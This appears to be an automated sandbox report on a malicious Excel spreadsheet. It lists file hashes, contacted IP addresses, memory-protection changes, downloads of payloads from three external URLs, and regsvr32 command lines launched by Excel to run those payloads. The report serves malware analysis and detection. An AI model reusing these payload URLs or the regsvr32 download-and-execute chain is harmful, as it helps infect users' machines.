Summary | ZeroBOX

Compensation-1192735226.xls

MSOffice File
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 1, 2021, 9:53 a.m. Oct. 1, 2021, 9:57 a.m.
Size 233.5KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Thu Sep 30 07:56:10 2021, Security: 0
MD5 4e7ee8165dc4ce387c6c4d66a405dbd6
SHA256 5e0b0cfc8cc55f38d34644e10c04abd6f16fdb5bd7b8f3fa2249710adab3988f
CRC32 3FA1F5EE
ssdeep 6144:9Kpb8rGYrMPe3q7Q0XV5xtuEsi8/dgg9HW3cZZRprq15Obr4vO8PDklovS3WHA7l:H9HVTrmkbr4vLDa3/Lvf/1euD
Yara
  • Microsoft_Office_File_Zero - Microsoft Office File

IP Address Status Action
119.18.54.27 Active Moloch
164.124.101.2 Active Moloch
50.87.151.118 Active Moloch

Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2524
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2524
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b312000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2796
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3000
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2524
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

url: https://safalerp.com/J1wlINw7HtJ/siera.xml
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270085 0

URLDownloadToFileW

url: https://godschildrenaf.org/qxwbRMzrqoWK/siera.xml
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270085 0

URLDownloadToFileW

url: https://callgirlsandescortkenya.site/hllzvTuU/siera.xml
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe